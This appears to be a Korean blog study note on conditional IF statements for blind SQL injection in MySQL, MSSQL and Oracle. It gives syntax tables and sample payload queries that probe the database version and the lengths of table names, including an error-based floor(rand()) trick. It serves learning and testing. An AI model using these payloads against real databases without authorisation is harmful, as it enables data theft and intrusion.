Self-Improvement
Blind SQLi IF문 (Mysql, MSSQL(제약이 존재), Oracle(제약이 존재)) 본문
IF Statements
MySQL | IF(condition,true-part,false-part) |
MSSQL | IF condition true-part ELSE false-part |
Oracle | IF condition THEN true-part; ELSE false-part; END IF; END; |
제약이 많은 IF문 보단 CASE문이 유용하며 Oracle은 PL/SQL에서 사용이 가능한것으로 보임
MySQL
select if(1=1, 1,2) |
select if ((select substr(version(),1,1))=5,1,2) |
select if (1=1,(select version()),2) |
select if ((select length(table_name) from information_schema.tables limit 1 offset 0)>10,1,2) |
select table_name from information_schema.tables where (if((select length(table_name) from information_schema.tables limit 1 offset 0)>10,1,2)) |
select table_name from information_schema.tables where (if((select length(table_name) from information_schema.tables limit 1 offset 0)>10,(select count(*) from (select count(*), concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b),2)) |
MSSQL
if (1=1) select 1 else select 2 |
if ((select substring(@@version, 1,1))='M') select 1 else select 2 |
'SQLi' 카테고리의 다른 글
MySQL Time SQLi(sleep, BENCHMARK, heavy query) (0) | 2020.04.27 |
---|---|
쿼터없이 스트링 표현하기 비교 (MySQL, MSSQL, Oracle) (0) | 2020.04.27 |
Time 기반 SQLi (Heavy Query, Python 자동화 코드) (0) | 2020.04.23 |
Time 기반 SQLi (DB 내장함수, Heavy Query) (0) | 2020.04.23 |
SQLi 하면서 중요한 정보, 꿀팁 (0) | 2020.04.22 |